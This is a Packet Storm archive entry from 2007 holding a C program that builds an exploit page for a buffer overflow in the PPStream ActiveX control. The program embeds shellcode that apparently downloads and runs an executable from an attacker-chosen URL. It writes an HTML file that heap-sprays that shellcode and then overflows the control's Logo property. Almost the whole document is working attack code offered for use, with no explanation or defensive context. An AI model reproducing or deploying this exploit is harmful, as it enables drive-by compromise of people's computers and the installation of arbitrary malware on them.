ppstream-overflow.txt

2007-08-31T00:00:00
ID PACKETSTORM:58980
Type packetstorm
Reporter dummy
Modified 2007-08-31T00:00:00

Description

                                        
                                            `// author: dummy  
// written by dummyz@126.com (2007)  
  
#define _CRT_SECURE_NO_DEPRECATE  
  
#include <windows.h>  
#include <stdio.h>  
  
const unsigned char shellcode[174] =   
{  
0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A,   
0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F,   
0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1,   
0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C,   
0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41,   
0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03,   
0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B,   
0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC,   
0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB,   
0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00,   
0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90  
};  
  
const char* script1 = \  
"<html><body><object id=\"ppc\" classid=\"clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458\"></object><script>"  
"var shellcode = unescape(\"";  
const char* script2 = \  
"\");"  
"bigblock = unescape(\"%u9090\");"  
"headersize = 20;"  
"slackspace = headersize + shellcode.length;"  
"while ( bigblock.length < slackspace ) bigblock += bigblock;"  
"fillblock = bigblock.substring(0, slackspace);"  
"block = bigblock.substring(0, bigblock.length - slackspace);"  
"while(block.length + slackspace < 0x40000) block = block + block + fillblock;"  
"memory = new Array();"  
"for (x=0; x< 400; x++) memory[x] = block + shellcode;"  
"var buffer = '\\x0a';"  
"while (buffer.length < 500) buffer += '\\x0a\\x0a\\x0a\\x0a';"  
"ppc.Logo = buffer;"  
"</script>"  
"</body>"  
"</html>";  
  
int main(int argc, char* argv[])  
{  
if ( argc != 2 )  
{  
printf("ex:fuckpps url\nwritten by dummyz@126.com (2007)\n");  
return -1;  
}  
  
FILE *file = fopen("fuckpps.html", "w+");  
if ( file == NULL )  
{  
printf("create 'fuckpps.html' failed!\n");  
return -2;  
}  
  
fprintf(file, "%s", script1);  
for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )  
fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);  
  
const unsigned l = strlen(argv[1]);  
for ( unsigned j = 0; j < l; j += 2 )  
fprintf(file, "%%u%02X%02X" , argv[1][j + 1], argv[1][j]);  
  
fprintf(file, "%s", script2);  
fclose(file);  
  
printf("make 'fuckpps.html' successed!\n");  
  
return 0;  
}  
  
  
`